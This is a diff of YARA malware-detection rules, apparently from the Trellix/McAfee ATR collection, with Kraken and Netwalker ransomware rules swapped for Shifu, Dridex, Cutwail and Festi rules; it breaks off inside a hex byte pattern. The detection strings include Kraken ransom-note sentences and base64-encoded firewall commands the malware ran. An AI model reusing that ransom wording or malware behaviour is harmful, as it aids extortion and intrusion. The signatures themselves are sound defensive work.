{2F265663680CACC66731B11AA78D588D7B54AC06C6348905D6B8F52C608D8208B0C6C5F1C11A2F69608D363DFA2A365AA387DAFCC906B486548F3DA8FE36312E} - $15 = {2B37480D634C799C468B775404368C7B891ADE3A556DF888566EB8CB3ED6F0171B59C35BB57F3B75D9017B7C9D52D1E87F48795AA58A16695B98BAFEAF66A769} - $16 = {0A76372D4F488ED5649A19B42E9E42B1DCC2E62655E7041711A6235B825D791CD6519492309D46964594F78B1DCAD17A5BEA574166B8A8EB76A52CA1052D724A} - $17 = {3D0B635F789C6CA6ADAC549548AA509C99D0C8DD823C99704423B90175B062E70EBBA67F937D622FF41B59D21E763A26D36759F3297D12B7454D82676C5B7B4A} - $18 = {225B642B7A09E7B06A4D3B95D97927AC46DABAE3ECE93AA4B307259DB9C01361C905B240678DB830EB7E172EB939ECB188ED3504B3709A746772B7BC94C83FB6} - $19 = {27465E49761EECAF449A3AB147907CF1C3D5F161D353E236BF9940AEC099EA4AC0352576803626029A15B3E978AB84D0024A1E345FFE58A81CDA2FBD61408971} - $20 = {3B7431210BEE4762B447DF044B5D6F41D53824C3E2CD17A35D71029352B47DA3811C60458EAADEBA532F75C54A3DDFC74AB3BEA7A51AF81A4A688F5D7A10378C} - $21 = {276C41453F8F2D8279980EAD3328E2478A3D84C55EB668231A12EED150E496622FCB2C04D9CBCE257BD97B9ECE404037589A185573F936A78DA88AD43EFC3948} - $22 = {2727495F5B1B4D920E35A52B6A5DB6A7F8B31A26873E20C53388696567D692B4B1F4A0B9267E4BBDA1728A5E883FD69029A07669AC1D0DC22E3157C028705C19} - $23 = {3E5552672C26C4F22824AF196F222D370F9EEDBEF119B8C3DD96414CF3529912234CB08AA7B2A034A51635319EAC44D47FA68747BA4B2FD2A884373ADEFB5C84} - $24 = {20735E632C6C70375BCA935EE39B7FA508205E9CC034CBD193A0D1C1E3A9A13818B9EB7FEFB11891E71221DB7143286C7D36A91C1FF7615E38F02E5C1BA24AFF} - $25 = {0A3D69344860D944AA8A46908019AB085E025AA693D381A34D8DCF116B25B0C62355D93893D1F64B983986C7E956C22303A9AB109680BF4B74460C5B087412AF} - $26 = {7C5B79652BC66C9BC36B11730D556FFA1CA1616CA59C0C344FD1F6B50C9C259329D699CDF0B894F1540AFDC4F431957206B0748AB6AE3B9069CD91147E09709B} - $27 = {2257442B42DB79A5E6CAD745E9A8D9775E4216C95F6094A05F05D7DAADBB03EC4B3444983DD291C2E32FC39299BCB4D22219386E75DAABB8D2EA93DFC52A248B} - $28 = {3C0D4A68792594D2F23F10A465B38B75D272318CA0E532A8A183F8CE5DEE6B45ECFDC96E4FF9158832472ED8CDFA69F92868A503F821D848CBB97B58332D8F84} + $pdb = "\\som\\bytguqne\\jzexsaf\\gyin.pdb" condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them } -rule TRELLIX_ARC_Kraken_Cryptor_Ransomware_Loader : RANSOMWARE FILE +rule TRELLIX_ARC_Shifu : FINANCIAL { meta: - description = "Rule to detect the Kraken Cryptor Ransomware loader" - author = "Marc Rivero | McAfee ATR Team" - id = "e6bfa30b-6565-5d03-8f4d-96fc2b6a1c11" - date = "2018-09-30" + description = "No description has been set in the source file - Trellix ARC" + author = "McAfee Labs" + id = "81e9ad25-1df0-5196-be8b-1d1d5d8e4387" + date = "2026-03-01" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L1-L30" + reference = "https://blogs.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Shifu.yar#L1-L24" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd" - logic_hash = "9e252a3ba7f6bf861ea7563461a1420959dfb0f5b7c3f6071150d03422504539" + logic_hash = "dfa6165f8d2750330c71dedbde293780d2bb27e8eb3635e47ca770ff7b9a9d63" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Kraken" + tags = "FINANCIAL" + malware_type = "financial" + malware_family = "Backdoor:W32/Shifu" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb" fullword ascii - $s2 = "SOFTWARE\\Classes\\mscfile\\shell\\open\\command" fullword wide - $s3 = "public_key" fullword ascii - $s4 = "KRAKEN DECRYPTOR" ascii - $s5 = "UNIQUE KEY" fullword ascii + $b = "RegCreateKeyA" + $a = "CryptCreateHash" + $c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E} + $d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65} + $e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45} condition: - uint16( 0 ) == 0x5a4d and filesize < 600KB and $pdb or all of ( $s* ) + all of them } -rule TRELLIX_ARC_Kraken_Cryptor_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Dridex_P2P_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect the Kraken Cryptor Ransomware" + description = "Rule to detect Dridex P2P based on the PDB" author = "Marc Rivero | McAfee ATR Team" - id = "7e1e5fa8-6d87-5e64-a8d4-4dae55ab76ca" - date = "2018-09-30" + id = "57350c96-877e-57de-9465-df9f7eb6d656" + date = "2014-11-29" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L32-L64" + reference = "https://www.us-cert.gov/ncas/alerts/aa19-339a" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_dridex_p2p_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd" - logic_hash = "2ad7f0bf6110eab79e0f9541c49ae44089ebca3f91ffa80de874d60d5a7ed266" + hash = "5345a9405212f3b8ef565d5d793e407ae8db964865a85c97e096295ba3f39a78" + logic_hash = "c9c4db48435203cdb882eef8082efd8424bd13f1aa512cfb3082f365b9bc6e83" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Kraken" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Dridex" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "Kraken Cryptor" fullword ascii nocase - $s2 = "support_email" fullword ascii - $fw1 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii - $fw2 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii - $fw3 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii - $fw4 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii - $uac = "<!--<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\" />--> " fullword ascii + $pdb = "\\c0da\\j.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 600KB and all of ( $fw* ) or all of ( $s* ) or $uac + uint16( 0 ) == 0x5a4d and filesize < 400KB and any of them } -rule TRELLIX_ARC_Ransom_Note_Kraken_Cryptor_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Malw_Cutwail_Pdb : BOTNET FILE { meta: - description = "Rule to detect the ransom note delivered by Kraken Cryptor Ransomware" + description = "Rule to detect cutwail based on the PDB" author = "Marc Rivero | McAfee ATR Team" - id = "dec9d364-daf9-5a1d-8e72-ed4dd2aeecdf" - date = "2018-09-30" + id = "62058ff9-acb5-5f71-b6bb-4c64e51442ba" + date = "2008-04-16" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Kraken.yar#L66-L108" + reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/CUTWAIL" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_cutwail.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "d4acdf0716320b0f757b8dbc97bb9d407460b2d69dc8e12292539e823be0f57d" + hash = "d702f823eefb50d9ea5b336c638f65a40c2342f8eb88278da60aa8a498c75010" + logic_hash = "f53626e6085509ddf9268b69e54a138e64cd5d3fbad119e6e9473179decd7927" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BOTNET, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Kraken" + malware_type = "botnet" + malware_family = "Botnet:W32/Cutwail" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "No way to recovery your files without \"KRAKEN DECRYPTOR\" software and your computer \"UNIQUE KEY\"!" fullword ascii - $s2 = "Are you want to decrypt all of your encrypted files? If yes! You need to pay for decryption service to us!" fullword ascii - $s3 = "The speed, power and complexity of this encryption have been high and if you are now viewing this guide." fullword ascii - $s4 = "Project \"KRAKEN CRYPTOR\" doesn't damage any of your files, this action is reversible if you follow the instructions above." fullword ascii - $s5 = "https://localBitcoins.com" fullword ascii - $s6 = "For the decryption service, we also need your \"KRAKEN ENCRYPTED UNIQUE KEY\" you can see this in the top!" fullword ascii - $s7 = "-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY----- " fullword ascii - $s8 = "All your files has been encrypted by \"KRAKEN CRYPTOR\"." fullword ascii - $s9 = "It means that \"KRAKEN CRYPTOR\" immediately removed form your system!" fullword ascii - $s10 = "After your payment made, all of your encrypted files has been decrypted." fullword ascii - $s11 = "Don't delete .XKHVE files! there are not virus and are your files, but encrypted!" fullword ascii - $s12 = "You can decrypt one of your encrypted smaller file for free in the first contact with us." fullword ascii - $s13 = "You must register on this site and click \"BUY Bitcoins\" then choose your country to find sellers and their prices." fullword ascii - $s14 = "-----END KRAKEN ENCRYPTED UNIQUE KEY-----" fullword ascii - $s15 = "DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\"." fullword ascii - $s16 = "# Read the following instructions carefully to decrypt your files." fullword ascii - $s17 = "We use best and easy way to communications. It's email support, you can see our emails below." fullword ascii - $s18 = "DON'T USE THIRD PARTY, PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." fullword ascii - $s19 = "https://en.wikipedia.org/wiki/Bitcoin" fullword ascii - $s20 = "Please send your message with same subject to both address." fullword ascii + $pdb = "\\0bulknet\\FLASH\\Release\\flashldr.pdb" condition: - uint16( 0 ) == 0x4120 and filesize < 9KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 440KB and any of them } -rule TRELLIX_ARC_Netwalker_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Festi_Botnet_Pdb : BOTNET FILE { meta: - description = "Rule to detect Netwalker ransomware" - author = "McAfee ATR Team" - id = "6fe75a64-77b8-5cb8-9365-a5336d4d1617" - date = "2020-03-30" - modified = "2020-11-20" - reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L3-L28" + description = "Rule to detect the Festi botnet based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "02f4149d-b8ac-5852-8cbe-c47f4cddcba6" + date = "2013-03-04" + modified = "2020-08-14" + reference = "https://www.welivesecurity.com/2012/05/11/king-of-spam-festi-botnet-analysis/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_festi_botnet_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "11da4b57f8d9ed1fdf053053a51870af2cbf4062cc1340087ee70c3e92a1baf6" + hash = "e55913523f5ae67593681ecb28d0fa1accee6739fdc3d52860615e1bc70dcb99" + logic_hash = "46e2576900fe94d614a683d4f09079b7ac78654079b2e558d076bcb42db4bf11" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BOTNET, FILE" rule_version = "v1" - malware_type = "ransomware" - note = "The rule doesn't detect the samples packed with UPX" + malware_type = "botnet" + malware_family = "Botnet:W32/Festi" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $pattern = { 8B????8B????89??C7????????????EB??8B????52E8????????83????8B????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCC558B??83????C7????????????83??????74??83??????72??83??????75??8B????E9????????C7????????????8B????33??B9????????F7??83????89????8B????8B????8D????51E8????????83????89????83??????0F84????????C7????????????C7????????????C6??????C6??????C6??????8B????3B????0F84????????8B????2B????39????73??8B????89????EB??8B????2B????89????8B????89????C7????????????8B????03????8B????2B??89????74??83??????7E??83??????7D??C7????????????8B????03????89????8B????518B????03????528B????03????50E8????????83????8B????03????89????83??????75??6A??8D????528B????03????50E8????????83????8B????83????89????8B????03????89????E9????????8B????8B????89??83??????74??8B????52E8????????83????8B????89??C7????????????8B????8B??5DC3CCCCCCCC558B??51B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????81????????????75??8B????83????89????C7????????????EB??C7????????????B9????????6B????8B????0FB6????BA????????C1????8B????0FB6????C1????0B??B8????????D1??8B????0FB6????C1????0B??BA????????6B????8B????0FB6????C1????0B??BA????????C1????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FBE????BA????????C1????8B????0FBE????C1????0B??B8????????D1??8B????0FBE????C1????0B??BA????????6B????8B????0FBE????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????D1??8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????6B????8B????89????8B??5DC3CCCCCC558B??B8????????6B????8B????C7????????????B8????????6B????8B????C7????????????B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????5DC3CCCCCC558B??83????83??????75??E9????????8B????508D????51E8????????83????BA????????6B????8B????8B????83????B8????????6B????8B????89????B9????????6B????8B????83??????75??B9????????6B????8B????8B????83????BA????????6B????8B????89????83??????77??C7????????????EB??8B????83????89????8B????3B????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??EB??C7????????????EB??8B????83????89????83??????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??8B????83????89????8B????83????89????8B????83????89????E9????????8B??5DC3CCCCCCCCCCCCCCCC558B??83????C7????????????EB??8B????83????89????83??????7D??8B????8B????8B????8B????89??????EB??C7????????????EB??8B????83????89????83??????0F8E????????B9????????6B????B8????????C1????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????C1????BA????????C1????8B??????33??????C1????B9????????C1????BA????????C1????8B??????33??????C1????0B??BA????????C1????89??????B8????????6B????BA????????C1????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????C1????BA????????6B????8B??????03??????BA????????C1????89??????B8????????C1????B9????????C1????8B??????33??????C1????B8????????C1????B9????????C1????8B??????33??????C1????0B??B9????????C1????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????6B????B8????????C1????8B??????33??????C1????BA????????6B????BA????????C1????8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????C1????B9????????6B????8B??????03??????B9????????C1????89??????BA????????6B????B9????????C1????8B??????33??????C1????B8????????6B????B8????????C1????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B????B9????????6B????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????D1??BA????????6B????8B??????03??????BA????????D1??89??????B8????????6B????BA????????D1??8B??????33??????C1????B9????????6B????B9????????D1??8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????D1??B8????????6B????8B??????03??????B8????????D1??89??????B9????????6B????B8????????D1??8B??????33??????C1????BA????????6B????BA????????D1??8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B???? } - $pattern2 = { CCCCCCCCCCA1????????C3CCCCCCCCCCCCCCCCCCCC538B??????5533??5785??74??8B??????85??74??8B????85??74??C1????50E8????????83????89??85??74??8B????5633??85??74??5653E8????????83????85??74??8B????85??74??8D??????89??????5150E8????????83????85??74??8B????8B??8B??????89????FF????8B????463B??72??39????B9????????5E0F44??5F8B??5D5BC35F5D33??5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC535556578B??????85??74??83????74??8B????85??74??8B??????85??74??33??85??74??8B??????660F1F??????85??74??8B??53FF????E8????????EB??E8????????8D????8B??FF????8B??53FF??83????85??75??463B????72??5F5E5D33??5BC35F5E5DB8????????5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??56E8????????8B????50E8????????83????85??75??A1????????6A??83????5650E8????????83????85??75??56E8????????83????85??74??8D????66??????74??83????83????75??33??5EC383????74??A1????????6A??83????5150E8????????83????85??74??B8????????5EC3CCCCCCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??A1????????83??????74??8B??????85??74??56E8????????8B??????????83????83????75??83??????74??66????????75??0FB7??83????72??83????76??83????66??????76??6A??8D????5650E8????????83????85??74??B8????????5EC333??5EC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??A1????????83??????74??51E8????????8B??83????85??74??8B??????????6A??83????5651E8????????83????85??74??B8????????5EC356E8????????83????33??5EC3CCCCCCCCCCCCCC535556576A??E8????????8B??83????85??0F84????????8B??660F1F??????0FB7????83????51E8????????8B??83????85??74??0FB7????51FF????57E8????????83????83????????????74??A1????????83??????74??6A??83????5750E8????????83????85??74??E8????????8B????3B????74??6A??51E8????????8B??83????85??74??E8????????6A??538B????FF??E8????????538B??????????FF??57E8????????83????8B??03??85??0F85????????55E8????????83????E8????????6A??8B??????????FF??E9????????CCCCCCCCCCCCCC83????5533??565739??????????0F84????????8B??????85??0F84????????8B??????85??0F84????????53E8????????8B??????????FF??83??????8B??74??E8????????FF????8B??????????FF??89??????E8????????8D??????516A??8B??????????8D??????516A??57FF??85??74??8B??????89????83????74??E8????????8B??????????FF??2B??3D????????77??83??????75??5B5F5E8B??5D83????C3BD????????5B5F5E8B??5D83????C35F5E33??5D83????C383????558B??????85??0F84????????5333??5733??89??????89??????E8????????8D??????518D??????8B??????????5157576A??FF????FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????56E8????????8D??????518D??????8B??????????51FF??????FF??????6A??FF????FF??85??74??33??39??????76??8B??????0F1F??????????E8????????8B??????68????????FF????8B??????????FF??FF??89??????8D????????????5053E8????????8B??83????85??74??FF??????68????????E8????????83????89????474683????3B??????72??8B??????FF??????E8????????83????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??E8????????FF????8B??????????FF??463B??72??53E8????????83????5EE8????????8D??????516A??FF????8B??????????FF??5F5B85??74??8D??????50FF????E8????????83????E8????????FF????8B??????????FF??55E8????????83????33??5D83????C2????CCCCCCCCCCCCCCCCCCCCCCCC83????568B??????85??74??E8????????8D??????516A??8B??????????56FF??85??74??8D??????5056E8????????83????E8????????568B??????????FF??33??5E83????C2????CCCCCCCCCCCC83????83????????????5356570F84????????A1????????83??????0F84????????55E8????????68????????6A??6A??8B??????????FF??8B??89??????85??0F84????????660F1F????????????C7??????????????C7??????????????C7??????????????E8????????8D??????518D??????8B??????????518D??????516A??6A??6A??6A??55FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????E8????????8B??????8D??????518D??????8B??????????518D??????51FF??????566A??6A??55FF??85??0F84????????33??33??89??????39??????0F86????????0F1F??????????FF??E8????????83????85??75??FF????E8????????83????85??74??E8????????68????????FF??8B??????????55FF??89??????85??74??6A??E8????????8B??83????85??74??8B??????8D????????????5189????8B??????5389????E8????????8B??83????85??74??5568????????E8????????83????89????478B??????8B??????83????4089??????3B??????0F82????????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??0F1F????E8????????FF????8B??????????FF??463B??72??53E8????????83????FF??????E8????????83????E8????????68????????8B??????????FF??E9????????5D5F5E33??5B83????C2????CCCCCC83????53558B??????565785??0F84????????8B????8D??????516A??55C7??????????????FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????6A??8D??????6A??50E8????????33??83????B8????????66????????39??????0F8E????????8B??????8D??????5083????C7??????????????438B??89??????0F10??????8B??510F11??FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????8B??????8D??????C7??????????????33??52508B??FF????83????????0F84????????FF??????E8????????83????85??0F85????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????33?? } - $pattern3 = { CCCCCCCCCC558B??FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF????????